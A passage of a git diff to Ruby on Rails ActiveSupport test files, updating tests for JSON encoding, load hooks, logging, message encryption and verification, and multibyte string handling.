-  if '1.9'.respond_to?(:force_encoding)
-    def test_non_utf8_string_transcodes
-      s = '二'.encode('Shift_JIS')
-      result = ActiveSupport::JSON.encode(s)
-      assert_equal '"\\u4e8c"', result
-      assert_equal Encoding::UTF_8, result.encoding
-    end
+  def test_non_utf8_string_transcodes
+    s = '二'.encode('Shift_JIS')
+    result = ActiveSupport::JSON.encode(s)
+    assert_equal '"\\u4e8c"', result
+    assert_equal Encoding::UTF_8, result.encoding
   end
 
   def test_exception_raised_when_encoding_circular_reference_in_array
@@ -270,6 +279,23 @@ class TestJSONEncoding < Test::Unit::TestCase
                  JSON.parse(json_string_and_date))
   end
 
+  def test_opt_out_big_decimal_string_serialization
+    big_decimal = BigDecimal('2.5')
+
+    begin
+      ActiveSupport.encode_big_decimal_as_string = false
+      assert_equal big_decimal.to_s, big_decimal.to_json
+    ensure
+      ActiveSupport.encode_big_decimal_as_string = true
+    end
+  end
+
+  def test_nil_true_and_false_represented_as_themselves
+    assert_equal nil,   nil.as_json
+    assert_equal true,  true.as_json
+    assert_equal false, false.as_json
+  end
+
   protected
 
     def object_keys(json_object)
diff --git a/activesupport/test/lazy_load_hooks_test.rb b/activesupport/test/lazy_load_hooks_test.rb
index 58ccc14324..7851634dbf 100644
--- a/activesupport/test/lazy_load_hooks_test.rb
+++ b/activesupport/test/lazy_load_hooks_test.rb
@@ -8,6 +8,16 @@ class LazyLoadHooksTest < ActiveSupport::TestCase
     assert_equal 1, i
   end
 
+  def test_basic_hook_with_two_registrations
+    i = 0
+    ActiveSupport.on_load(:basic_hook_with_two) { i += incr }
+    assert_equal 0, i
+    ActiveSupport.run_load_hooks(:basic_hook_with_two, FakeContext.new(2))
+    assert_equal 2, i
+    ActiveSupport.run_load_hooks(:basic_hook_with_two, FakeContext.new(5))
+    assert_equal 7, i
+  end
+
   def test_hook_registered_after_run
     i = 0
     ActiveSupport.run_load_hooks(:registered_after)
@@ -16,6 +26,25 @@ class LazyLoadHooksTest < ActiveSupport::TestCase
     assert_equal 1, i
   end
 
+  def test_hook_registered_after_run_with_two_registrations
+    i = 0
+    ActiveSupport.run_load_hooks(:registered_after_with_two, FakeContext.new(2))
+    ActiveSupport.run_load_hooks(:registered_after_with_two, FakeContext.new(5))
+    assert_equal 0, i
+    ActiveSupport.on_load(:registered_after_with_two) { i += incr }
+    assert_equal 7, i
+  end
+
+  def test_hook_registered_interleaved_run_with_two_registrations
+    i = 0
+    ActiveSupport.run_load_hooks(:registered_interleaved_with_two, FakeContext.new(2))
+    assert_equal 0, i
+    ActiveSupport.on_load(:registered_interleaved_with_two) { i += incr }
+    assert_equal 2, i
+    ActiveSupport.run_load_hooks(:registered_interleaved_with_two, FakeContext.new(5))
+    assert_equal 7, i
+  end
+
   def test_hook_receives_a_context
     i = 0
     ActiveSupport.on_load(:contextual) { i += incr }
diff --git a/activesupport/test/load_paths_test.rb b/activesupport/test/load_paths_test.rb
index a2d8da726a..979e25bdf3 100644
--- a/activesupport/test/load_paths_test.rb
+++ b/activesupport/test/load_paths_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class LoadPathsTest < Test::Unit::TestCase
+class LoadPathsTest < ActiveSupport::TestCase
   def test_uniq_load_paths
     load_paths_count = $LOAD_PATH.inject({}) { |paths, path|
       expanded_path = File.expand_path(path)
diff --git a/activesupport/test/log_subscriber_test.rb b/activesupport/test/log_subscriber_test.rb
index 0c1f3c51ed..2a0e8d20ed 100644
--- a/activesupport/test/log_subscriber_test.rb
+++ b/activesupport/test/log_subscriber_test.rb
@@ -11,7 +11,7 @@ class MyLogSubscriber < ActiveSupport::LogSubscriber
 
   def foo(event)
     debug "debug"
-    info "info"
+    info { "info" }
     warn "warn"
   end
 
@@ -118,6 +118,6 @@ class SyncLogSubscriberTest < ActiveSupport::TestCase
     assert_equal 'some_event.my_log_subscriber', @logger.logged(:info).last
 
     assert_equal 1, @logger.logged(:error).size
-    assert_equal 'Could not log "puke.my_log_subscriber" event. RuntimeError: puke', @logger.logged(:error).last
+    assert_match 'Could not log "puke.my_log_subscriber" event. RuntimeError: puke', @logger.logged(:error).last
   end
-end
\ No newline at end of file
+end
diff --git a/activesupport/test/logger_test.rb b/activesupport/test/logger_test.rb
new file mode 100644
index 0000000000..eedeca30a8
--- /dev/null
+++ b/activesupport/test/logger_test.rb
@@ -0,0 +1,123 @@
+require 'abstract_unit'
+require 'multibyte_test_helpers'
+require 'stringio'
+require 'fileutils'
+require 'tempfile'
+
+class LoggerTest < ActiveSupport::TestCase
+  include MultibyteTestHelpers
+
+  Logger = ActiveSupport::Logger
+
+  def setup
+    @message = "A debug message"
+    @integer_message = 12345
+    @output  = StringIO.new
+    @logger  = Logger.new(@output)
+  end
+
+  def test_write_binary_data_to_existing_file
+    t = Tempfile.new ['development', 'log']
+    t.binmode
+    t.write 'hi mom!'
+    t.close
+
+    f = File.open(t.path, 'w')
+    f.binmode
+
+    logger = Logger.new f
+    logger.level = Logger::DEBUG
+
+    str = "\x80"
+    str.force_encoding("ASCII-8BIT")
+
+    logger.add Logger::DEBUG, str
+  ensure
+    logger.close
+    t.close true
+  end
+
+  def test_write_binary_data_create_file
+    fname = File.join Dir.tmpdir, 'lol', 'rofl.log'
+    FileUtils.mkdir_p File.dirname(fname)
+    f = File.open(fname, 'w')
+    f.binmode
+
+    logger = Logger.new f
+    logger.level = Logger::DEBUG
+
+    str = "\x80"
+    str.force_encoding("ASCII-8BIT")
+
+    logger.add Logger::DEBUG, str
+  ensure
+    logger.close
+    File.unlink fname
+  end
+
+  def test_should_log_debugging_message_when_debugging
+    @logger.level = Logger::DEBUG
+    @logger.add(Logger::DEBUG, @message)
+    assert @output.string.include?(@message)
+  end
+
+  def test_should_not_log_debug_messages_when_log_level_is_info
+    @logger.level = Logger::INFO
+    @logger.add(Logger::DEBUG, @message)
+    assert ! @output.string.include?(@message)
+  end
+
+  def test_should_add_message_passed_as_block_when_using_add
+    @logger.level = Logger::INFO
+    @logger.add(Logger::INFO) {@message}
+    assert @output.string.include?(@message)
+  end
+
+  def test_should_add_message_passed_as_block_when_using_shortcut
+    @logger.level = Logger::INFO
+    @logger.info {@message}
+    assert @output.string.include?(@message)
+  end
+
+  def test_should_convert_message_to_string
+    @logger.level = Logger::INFO
+    @logger.info @integer_message
+    assert @output.string.include?(@integer_message.to_s)
+  end
+
+  def test_should_convert_message_to_string_when_passed_in_block
+    @logger.level = Logger::INFO
+    @logger.info {@integer_message}
+    assert @output.string.include?(@integer_message.to_s)
+  end
+
+  def test_should_not_evaluate_block_if_message_wont_be_logged
+    @logger.level = Logger::INFO
+    evaluated = false
+    @logger.add(Logger::DEBUG) {evaluated = true}
+    assert evaluated == false
+  end
+
+  def test_should_not_mutate_message
+    message_copy = @message.dup
+    @logger.info @message
+    assert_equal message_copy, @message
+  end
+
+  def test_should_know_if_its_loglevel_is_below_a_given_level
+    Logger::Severity.constants.each do |level|
+      next if level.to_s == 'UNKNOWN'
+      @logger.level = Logger::Severity.const_get(level) - 1
+      assert @logger.send("#{level.downcase}?"), "didn't know if it was #{level.downcase}? or below"
+    end
+  end
+
+  def test_buffer_multibyte
+    @logger.info(UNICODE_STRING)
+    @logger.info(BYTE_STRING)
+    assert @output.string.include?(UNICODE_STRING)
+    byte_string = @output.string.dup
+    byte_string.force_encoding("ASCII-8BIT")
+    assert byte_string.include?(BYTE_STRING)
+  end
+end
diff --git a/activesupport/test/memoizable_test.rb b/activesupport/test/memoizable_test.rb
deleted file mode 100644
index e333b9a78c..0000000000
--- a/activesupport/test/memoizable_test.rb
+++ /dev/null
@@ -1,290 +0,0 @@
-require 'abstract_unit'
-
-class MemoizableTest < ActiveSupport::TestCase
-  class Person
-    ActiveSupport::Deprecation.silence do
-      extend ActiveSupport::Memoizable
-    end
-
-    attr_reader :name_calls, :age_calls, :is_developer_calls, :name_query_calls
-
-    def initialize
-      @name_calls = 0
-      @age_calls = 0
-      @is_developer_calls = 0
-      @name_query_calls = 0
-    end
-
-    def name
-      @name_calls += 1
-      "Josh"
-    end
-
-    def name?
-      @name_query_calls += 1
-      true
-    end
-    memoize :name?
-
-    def update(name)
-      "Joshua"
-    end
-    memoize :update
-
-    def age
-      @age_calls += 1
-      nil
-    end
-
-    memoize :name, :age
-
-    protected
-
-    def memoize_protected_test
-      'protected'
-    end
-    memoize :memoize_protected_test
-
-    private
-
-    def is_developer?
-      @is_developer_calls += 1
-      "Yes"
-    end
-    memoize :is_developer?
-  end
-
-  class Company
-    attr_reader :name_calls
-    def initialize
-      @name_calls = 0
-    end
-
-    def name
-      @name_calls += 1
-      "37signals"
-    end
-  end
-
-  module Rates
-    ActiveSupport::Deprecation.silence do
-      extend ActiveSupport::Memoizable
-    end
-
-    attr_reader :sales_tax_calls
-    def sales_tax(price)
-      @sales_tax_calls ||= 0
-      @sales_tax_calls += 1
-      price * 0.1025
-    end
-    memoize :sales_tax
-  end
-
-  class Calculator
-    ActiveSupport::Deprecation.silence do
-      extend ActiveSupport::Memoizable
-    end
-    include Rates
-
-    attr_reader :fib_calls
-    def initialize
-      @fib_calls = 0
-    end
-
-    def fib(n)
-      @fib_calls += 1
-
-      if n == 0 || n == 1
-        n
-      else
-        fib(n - 1) + fib(n - 2)
-      end
-    end
-    memoize :fib
-
-    def add_or_subtract(i, j, add)
-      if add
-        i + j
-      else
-        i - j
-      end
-    end
-    memoize :add_or_subtract
-
-    def counter
-      @count ||= 0
-      @count += 1
-    end
-    memoize :counter
-  end
-
-  def setup
-    @person = Person.new
-    @calculator = Calculator.new
-  end
-
-  def test_memoization
-    assert_equal "Josh", @person.name
-    assert_equal 1, @person.name_calls
-
-    3.times { assert_equal "Josh", @person.name }
-    assert_equal 1, @person.name_calls
-  end
-
-  def test_memoization_with_punctuation
-    assert_equal true, @person.name?
-
-    assert_nothing_raised(NameError) do
-      @person.memoize_all
-      @person.unmemoize_all
-    end
-  end
-
-  def test_memoization_flush_with_punctuation
-    assert_equal true, @person.name?
-    @person.flush_cache(:name?)
-    3.times { assert_equal true, @person.name? }
-    assert_equal 2, @person.name_query_calls
-  end
-
-  def test_memoization_with_nil_value
-    assert_equal nil, @person.age
-    assert_equal 1, @person.age_calls
-
-    3.times { assert_equal nil, @person.age }
-    assert_equal 1, @person.age_calls
-  end
-
-  def test_reloadable
-    assert_equal 1, @calculator.counter
-    assert_equal 2, @calculator.counter(:reload)
-    assert_equal 2, @calculator.counter
-    assert_equal 3, @calculator.counter(true)
-    assert_equal 3, @calculator.counter
-  end
-
-  def test_flush_cache
-    assert_equal 1, @calculator.counter
-
-    assert @calculator.instance_variable_get(:@_memoized_counter).any?
-    @calculator.flush_cache(:counter)
-    assert @calculator.instance_variable_get(:@_memoized_counter).empty?
-
-    assert_equal 2, @calculator.counter
-  end
-
-  def test_unmemoize_all
-    assert_equal 1, @calculator.counter
-
-    assert @calculator.instance_variable_get(:@_memoized_counter).any?
-    @calculator.unmemoize_all
-    assert @calculator.instance_variable_get(:@_memoized_counter).empty?
-
-    assert_equal 2, @calculator.counter
-  end
-
-  def test_memoize_all
-    @calculator.memoize_all
-    assert @calculator.instance_variable_defined?(:@_memoized_counter)
-  end
-
-  def test_memoization_cache_is_different_for_each_instance
-    assert_equal 1, @calculator.counter
-    assert_equal 2, @calculator.counter(:reload)
-    assert_equal 1, Calculator.new.counter
-  end
-
-  def test_memoized_is_not_affected_by_freeze
-    @person.freeze
-    assert_equal "Josh", @person.name
-    assert_equal "Joshua", @person.update("Joshua")
-  end
-
-  def test_memoization_with_args
-    assert_equal 55, @calculator.fib(10)
-    assert_equal 11, @calculator.fib_calls
-  end
-
-  def test_reloadable_with_args
-    assert_equal 55, @calculator.fib(10)
-    assert_equal 11, @calculator.fib_calls
-    assert_equal 55, @calculator.fib(10, :reload)
-    assert_equal 12, @calculator.fib_calls
-    assert_equal 55, @calculator.fib(10, true)
-    assert_equal 13, @calculator.fib_calls
-  end
-
-  def test_memoization_with_boolean_arg
-    assert_equal 4, @calculator.add_or_subtract(2, 2, true)
-    assert_equal 2, @calculator.add_or_subtract(4, 2, false)
-  end
-
-  def test_object_memoization
-    [Company.new, Company.new, Company.new].each do |company|
-      ActiveSupport::Deprecation.silence do
-        company.extend ActiveSupport::Memoizable
-      end
-      company.memoize :name
-
-      assert_equal "37signals", company.name
-      assert_equal 1, company.name_calls
-      assert_equal "37signals", company.name
-      assert_equal 1, company.name_calls
-    end
-  end
-
-  def test_memoized_module_methods
-    assert_equal 1.025, @calculator.sales_tax(10)
-    assert_equal 1, @calculator.sales_tax_calls
-    assert_equal 1.025, @calculator.sales_tax(10)
-    assert_equal 1, @calculator.sales_tax_calls
-    assert_equal 2.5625, @calculator.sales_tax(25)
-    assert_equal 2, @calculator.sales_tax_calls
-  end
-
-  def test_object_memoized_module_methods
-    company = Company.new
-    company.extend(Rates)
-
-    assert_equal 1.025, company.sales_tax(10)
-    assert_equal 1, company.sales_tax_calls
-    assert_equal 1.025, company.sales_tax(10)
-    assert_equal 1, company.sales_tax_calls
-    assert_equal 2.5625, company.sales_tax(25)
-    assert_equal 2, company.sales_tax_calls
-  end
-
-  def test_double_memoization
-    assert_raise(RuntimeError) { Person.memoize :name }
-    person = Person.new
-    ActiveSupport::Deprecation.silence do
-      person.extend ActiveSupport::Memoizable
-    end
-    assert_raise(RuntimeError) { person.memoize :name }
-
-    company = Company.new
-    ActiveSupport::Deprecation.silence do
-      company.extend ActiveSupport::Memoizable
-    end
-    company.memoize :name
-    assert_raise(RuntimeError) { company.memoize :name }
-  end
-
-  def test_protected_method_memoization
-    person = Person.new
-
-    assert_raise(NoMethodError) { person.memoize_protected_test }
-    assert_equal "protected", person.send(:memoize_protected_test)
-  end
-
-  def test_private_method_memoization
-    person = Person.new
-
-    assert_raise(NoMethodError) { person.is_developer? }
-    assert_equal "Yes", person.send(:is_developer?)
-    assert_equal 1, person.is_developer_calls
-    assert_equal "Yes", person.send(:is_developer?)
-    assert_equal 1, person.is_developer_calls
-  end
-
-end
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
index 83a19f8106..b544742300 100644
--- a/activesupport/test/message_encryptor_test.rb
+++ b/activesupport/test/message_encryptor_test.rb
@@ -11,70 +11,75 @@ require 'active_support/time'
 require 'active_support/json'
 
 class MessageEncryptorTest < ActiveSupport::TestCase
-  
   class JSONSerializer
     def dump(value)
       ActiveSupport::JSON.encode(value)
     end
-    
+
     def load(value)
       ActiveSupport::JSON.decode(value)
     end
   end
-  
+
   def setup
-    @encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64))
+    @secret    = SecureRandom.hex(64)
+    @verifier  = ActiveSupport::MessageVerifier.new(@secret, :serializer => ActiveSupport::MessageEncryptor::NullSerializer)
+    @encryptor = ActiveSupport::MessageEncryptor.new(@secret)
     @data = { :some => "data", :now => Time.local(2010) }
   end
 
-  def test_simple_round_tripping
-    message = @encryptor.encrypt(@data)
-    assert_equal @data, @encryptor.decrypt(message)
-  end
-
   def test_encrypting_twice_yields_differing_cipher_text
-    first_messqage = @encryptor.encrypt(@data)
-    second_message = @encryptor.encrypt(@data)
+    first_messqage = @encryptor.encrypt_and_sign(@data).split("--").first
+    second_message = @encryptor.encrypt_and_sign(@data).split("--").first
     assert_not_equal first_messqage, second_message
   end
 
-  def test_messing_with_either_value_causes_failure
-    text, iv = @encryptor.encrypt(@data).split("--")
+  def test_messing_with_either_encrypted_values_causes_failure
+    text, iv = @verifier.verify(@encryptor.encrypt_and_sign(@data)).split("--")
     assert_not_decrypted([iv, text] * "--")
     assert_not_decrypted([text, munge(iv)] * "--")
     assert_not_decrypted([munge(text), iv] * "--")
     assert_not_decrypted([munge(text), munge(iv)] * "--")
   end
 
+  def test_messing_with_verified_values_causes_failures
+    text, iv = @encryptor.encrypt_and_sign(@data).split("--")
+    assert_not_verified([iv, text] * "--")
+    assert_not_verified([text, munge(iv)] * "--")
+    assert_not_verified([munge(text), iv] * "--")
+    assert_not_verified([munge(text), munge(iv)] * "--")
+  end
+
   def test_signed_round_tripping
     message = @encryptor.encrypt_and_sign(@data)
     assert_equal @data, @encryptor.decrypt_and_verify(message)
   end
-  
+
   def test_alternative_serialization_method
     encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), :serializer => JSONSerializer.new)
     message = encryptor.encrypt_and_sign({ :foo => 123, 'bar' => Time.utc(2010) })
     assert_equal encryptor.decrypt_and_verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
   end
 
-  def test_digest_algorithm_as_second_parameter_deprecation
-    assert_deprecated(/options hash/) do
-      ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), 'aes-256-cbc')
-    end
-  end
-  
   private
-    def assert_not_decrypted(value)
-      assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
-        @encryptor.decrypt(value)
-      end
+
+  def assert_not_decrypted(value)
+    assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
+      @encryptor.decrypt_and_verify(@verifier.generate(value))
     end
+  end
 
-    def munge(base64_string)
-      bits = ActiveSupport::Base64.decode64(base64_string)
-      bits.reverse!
-      ActiveSupport::Base64.encode64s(bits)
+  def assert_not_verified(value)
+    assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
+      @encryptor.decrypt_and_verify(value)
     end
+  end
+
+  def munge(base64_string)
+    bits = ::Base64.decode64(base64_string)
+    bits.reverse!
+    ::Base64.strict_encode64(bits)
+  end
 end
 
 end
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
index 35747abe5b..5adff41653 100644
--- a/activesupport/test/message_verifier_test.rb
+++ b/activesupport/test/message_verifier_test.rb
@@ -50,12 +50,6 @@ class MessageVerifierTest < ActiveSupport::TestCase
     assert_equal verifier.verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
   end
   
-  def test_digest_algorithm_as_second_parameter_deprecation
-    assert_deprecated(/options hash/) do
-      ActiveSupport::MessageVerifier.new("secret", "SHA1")
-    end
-  end
-
   def assert_not_verified(message)
     assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
       @verifier.verify(message)
diff --git a/activesupport/test/multibyte_chars_test.rb b/activesupport/test/multibyte_chars_test.rb
index bfff10fff2..ef289692bc 100644
--- a/activesupport/test/multibyte_chars_test.rb
+++ b/activesupport/test/multibyte_chars_test.rb
@@ -7,9 +7,10 @@ class String
   def __method_for_multibyte_testing_with_integer_result; 1; end
   def __method_for_multibyte_testing; 'result'; end
   def __method_for_multibyte_testing!; 'result'; end
+  def __method_for_multibyte_testing_that_returns_nil!; end
 end
 
-class MultibyteCharsTest < Test::Unit::TestCase
+class MultibyteCharsTest < ActiveSupport::TestCase
   include MultibyteTestHelpers
 
   def setup
@@ -36,11 +37,15 @@ class MultibyteCharsTest < Test::Unit::TestCase
     assert_not_equal @chars.object_id, @chars.__method_for_multibyte_testing.object_id
   end
 
-  def test_forwarded_bang_method_calls_should_return_the_original_chars_instance
+  def test_forwarded_bang_method_calls_should_return_the_original_chars_instance_when_result_is_not_nil
     assert_kind_of @proxy_class, @chars.__method_for_multibyte_testing!
     assert_equal @chars.object_id, @chars.__method_for_multibyte_testing!.object_id
   end
 
+  def test_forwarded_bang_method_calls_should_return_nil_when_result_is_nil
+    assert_nil @chars.__method_for_multibyte_testing_that_returns_nil!
+  end
+
   def test_methods_are_forwarded_to_wrapped_string_for_byte_strings
     assert_equal BYTE_STRING.class, BYTE_STRING.mb_chars.class
   end
@@ -67,17 +72,6 @@ class MultibyteCharsTest < Test::Unit::TestCase
     assert !@proxy_class.consumes?(BYTE_STRING)
   end
 
-  def test_unpack_utf8_strings
-    assert_equal 4, ActiveSupport::Multibyte::Unicode.u_unpack(UNICODE_STRING).length
-    assert_equal 5, ActiveSupport::Multibyte::Unicode.u_unpack(ASCII_STRING).length
-  end
-
-  def test_unpack_raises_encoding_error_on_broken_strings
-    assert_raise(ActiveSupport::Multibyte::EncodingError) do
-      ActiveSupport::Multibyte::Unicode.u_unpack(BYTE_STRING)
-    end
-  end
-
   def test_concatenation_should_return_a_proxy_class_instance
     assert_equal ActiveSupport::Multibyte.proxy_class, ('a'.mb_chars + 'b').class
     assert_equal ActiveSupport::Multibyte.proxy_class, ('a'.mb_chars << 'b').class
@@ -94,22 +88,18 @@ class MultibyteCharsTest < Test::Unit::TestCase
     assert(('a'.mb_chars << 'b'.mb_chars).kind_of?(@proxy_class))
   end
 
+  def test_should_return_string_as_json
+    assert_equal UNICODE_STRING, @chars.as_json
+  end
 end
 
-class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
+class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
   include MultibyteTestHelpers
 
   def setup
     @chars = UNICODE_STRING.dup.mb_chars
-
-    if RUBY_VERSION < '1.9'
-      # Multibyte support all kinds of whitespace (ie. NEWLINE, SPACE, EM SPACE)
-      @whitespace = "\n\t#{[32, 8195].pack('U*')}"
-    else
-      # Ruby 1.9 only supports basic whitespace
-      @whitespace = "\n\t "
-    end
-
+    # Ruby 1.9 only supports basic whitespace
+    @whitespace = "\n\t "
     @byte_order_mark = [65279].pack('U')
   end
 
@@ -119,15 +109,11 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
     end
   end
 
-  def test_indexed_insert_accepts_fixnums
-    @chars[2] = 32
-    assert_equal 'こに わ', @chars
-  end
-
-  %w{capitalize downcase lstrip reverse rstrip strip upcase}.each do |method|
-    class_eval(<<-EOTESTS)
-      def test_#{method}_bang_should_return_self
-        assert_equal @chars.object_id, @chars.send("#{method}!").object_id
+  %w{capitalize downcase lstrip reverse rstrip swapcase upcase}.each do |method|
+    class_eval(<<-EOTESTS, __FILE__, __LINE__ + 1)
+      def test_#{method}_bang_should_return_self_when_modifying_wrapped_string
+        chars = ' él piDió Un bUen café '
+        assert_equal chars.object_id, chars.send("#{method}!").object_id
       end
 
       def test_#{method}_bang_should_change_wrapped_string
@@ -150,10 +136,8 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
     assert_not_equal original, proxy.to_s
   end
 
-  if RUBY_VERSION >= '1.9'
-    def test_unicode_string_should_have_utf8_encoding
-      assert_equal Encoding::UTF_8, UNICODE_STRING.encoding
-    end
+  def test_unicode_string_should_have_utf8_encoding
+    assert_equal Encoding::UTF_8, UNICODE_STRING.encoding
   end
 
   def test_identity
@@ -180,6 +164,7 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
     assert chars('').decompose.kind_of?(ActiveSupport::Multibyte.proxy_class)
     assert chars('').compose.kind_of?(ActiveSupport::Multibyte.proxy_class)
     assert chars('').tidy_bytes.kind_of?(ActiveSupport::Multibyte.proxy_class)
+    assert chars('').swapcase.kind_of?(ActiveSupport::Multibyte.proxy_class)
   end
 
   def test_should_be_equal_to_the_wrapped_string
@@ -428,7 +413,7 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
   def test_slice_bang_removes_the_slice_from_the_receiver
     chars = 'úüù'.mb_chars
     chars.slice!(0,2)
-    assert_equal 'úü', chars
+    assert_equal 'ù', chars
   end
 
   def test_slice_should_throw_exceptions_on_invalid_arguments
@@ -451,6 +436,11 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
     assert_equal 'abc', 'aBc'.mb_chars.downcase
   end
 
+  def test_swapcase_should_swap_ascii_characters
+    assert_equal '', ''.mb_chars.swapcase
+    assert_equal 'AbC', 'aBc'.mb_chars.swapcase
+  end
+
   def test_capitalize_should_work_on_ascii_characters
     assert_equal '', ''.mb_chars.capitalize
     assert_equal 'Abc', 'abc'.mb_chars.capitalize
@@ -468,6 +458,15 @@ class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
     assert !''.mb_chars.respond_to?(:undefined_method) # Not defined
   end
 
+  def test_method_works_for_proxyed_methods
+    assert_equal 'll', 'hello'.mb_chars.method(:slice).call(2..3) # Defined on Chars
+    chars = 'hello'.mb_chars
+    assert_equal 'Hello', chars.method(:capitalize!).call # Defined on Chars
+    assert_equal 'Hello', chars
+    assert_equal 'jello', 'hello'.mb_chars.method(:gsub).call(/h/, 'j') # Defined on String
+    assert_raise(NameError){ ''.mb_chars.method(:undefined_method) } # Not defined
+  end
+
   def test_acts_like_string
     assert 'Bambi'.mb_chars.acts_like_string?
   end
@@ -476,7 +475,7 @@ end
 # The default Multibyte Chars proxy has more features than the normal string implementation. Tests
 # for the implementation of these features should run on all Ruby versions and shouldn't be tested
 # through the proxy methods.
-class MultibyteCharsExtrasTest < Test::Unit::TestCase
+class MultibyteCharsExtrasTest < ActiveSupport::TestCase
   include MultibyteTestHelpers
 
   def test_upcase_should_be_unicode_aware
@@ -485,10 +484,15 @@ class MultibyteCharsExtrasTest < Test::Unit::TestCase
   end
 
   def test_downcase_should_be_unicode_aware
-    assert_equal "абвгд\0f", chars("аБвгд\0f").downcase
+    assert_equal "абвгд\0f", chars("аБвгд\0F").downcase
     assert_equal 'こにちわ', chars('こにちわ').downcase
   end
 
+  def test_swapcase_should_be_unicode_aware
+    assert_equal "аaéÜ\0f", chars("АAÉü\0F").swapcase
+    assert_equal 'こにちわ', chars('こにちわ').swapcase
+  end
+
   def test_capitalize_should_be_unicode_aware
     { 'аБвг аБвг' => 'Абвг абвг',
       'аБвг АБВГ' => 'Абвг абвг',
@@ -515,7 +519,7 @@ class MultibyteCharsExtrasTest < Test::Unit::TestCase
 
   def test_limit_should_work_on_a_multibyte_string
     example = chars(UNICODE_STRING)
-    bytesize = UNICODE_STRING.respond_to?(:bytesize) ? UNICODE_STRING.bytesize : UNICODE_STRING.size
+    bytesize = UNICODE_STRING.bytesize
 
     assert_equal UNICODE_STRING, example.limit(bytesize)
     assert_equal '', example.limit(0)
@@ -614,7 +618,7 @@ class MultibyteCharsExtrasTest < Test::Unit::TestCase
       else
         str = input
       end
-      assert_equal expected_length, chars(str).g_length
+      assert_equal expected_length, chars(str).grapheme_length
     end
   end
 
diff --git a/activesupport/test/multibyte_conformance.rb b/activesupport/test/multibyte_conformance.rb
index b3b477bb75..2baf724da4 100644
--- a/activesupport/test/multibyte_conformance.rb
+++ b/activesupport/test/multibyte_conformance.rb
@@ -25,7 +25,7 @@ class Downloader
   end
 end
 
-class MultibyteConformanceTest < Test::Unit::TestCase
+class MultibyteConformanceTest < ActiveSupport::TestCase
   include MultibyteTestHelpers
 
   UNIDATA_URL = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}/ucd"
diff --git a/activesupport/test/multibyte_test_helpers.rb b/activesupport/test/multibyte_test_helpers.rb
index 8839b75601..fdbe2f4350 100644
--- a/activesupport/test/multibyte_test_helpers.rb
+++ b/activesupport/test/multibyte_test_helpers.rb
@@ -3,10 +3,7 @@
 module MultibyteTestHelpers
   UNICODE_STRING = 'こにちわ'
   ASCII_STRING = 'ohayo'
-  BYTE_STRING = "\270\236\010\210\245"
-  if BYTE_STRING.respond_to?(:force_encoding)
-    BYTE_STRING.force_encoding("ASCII-8BIT")
-  end
+  BYTE_STRING = "\270\236\010\210\245".force_encoding("ASCII-8BIT")
 
   def chars(str)
     ActiveSupport::Multibyte::Chars.new(str)
diff --git a/activesupport/test/multibyte_unicode_database_test.rb b/activesupport/test/multibyte_unicode_database_test.rb
index 26a41579c2..bec65daf50 100644
--- a/activesupport/test/multibyte_unicode_database_test.rb
+++ b/activesupport/test/multibyte_unicode_database_test.rb
@@ -2,7 +2,7 @@
 require 'abstract_unit'
 
 
-class MultibyteUnicodeDatabaseTest < Test::Unit::TestCase
+class MultibyteUnicodeDatabaseTest < ActiveSupport::TestCase
 
   include ActiveSupport::Multibyte::Unicode
 
diff --git a/activesupport/test/multibyte_utils_test.rb b/activesupport/test/multibyte_utils_test.rb
deleted file mode 100644
index 0a2f20d282..0000000000
--- a/activesupport/test/multibyte_utils_test.rb
+++ /dev/null
@@ -1,137 +0,0 @@
-# encoding: utf-8
-
-require 'abstract_unit'
-require 'multibyte_test_helpers'
-
-class MultibyteUtilsTest < ActiveSupport::TestCase
-  include MultibyteTestHelpers
-
-  test "valid_character returns an expression for the current encoding" do
-    with_encoding('None') do
-      assert_nil ActiveSupport::Multibyte.valid_character
-    end
-    with_encoding('UTF8') do
-      assert_equal ActiveSupport::Multibyte::VALID_CHARACTER['UTF-8'], ActiveSupport::Multibyte.valid_character
-    end
-    with_encoding('SJIS') do
-      assert_equal ActiveSupport::Multibyte::VALID_CHARACTER['Shift_JIS'], ActiveSupport::Multibyte.valid_character
-    end
-  end
-
-  test "verify verifies ASCII strings are properly encoded" do
-    with_encoding('None') do
-      examples.each do |example|
-        assert ActiveSupport::Multibyte.verify(example)
-      end
-    end
-  end
-
-  test "verify verifies UTF-8 strings are properly encoded" do
-    with_encoding('UTF8') do
-      assert ActiveSupport::Multibyte.verify(example('valid UTF-8'))
-      assert !ActiveSupport::Multibyte.verify(example('invalid UTF-8'))
-    end
-  end
-
-  test "verify verifies Shift-JIS strings are properly encoded" do
-    with_encoding('SJIS') do
-      assert ActiveSupport::Multibyte.verify(example('valid Shift-JIS'))
-      assert !ActiveSupport::Multibyte.verify(example('invalid Shift-JIS'))
-    end
-  end
-
-  test "verify! raises an exception when it finds an invalid character" do
-    with_encoding('UTF8') do
-      assert_raises(ActiveSupport::Multibyte::EncodingError) do
-        ActiveSupport::Multibyte.verify!(example('invalid UTF-8'))
-      end
-    end
-  end
-
-  test "verify! doesn't raise an exception when the encoding is valid" do
-    with_encoding('UTF8') do
-      assert_nothing_raised do
-        ActiveSupport::Multibyte.verify!(example('valid UTF-8'))
-      end
-    end
-  end
-
-  if RUBY_VERSION < '1.9'
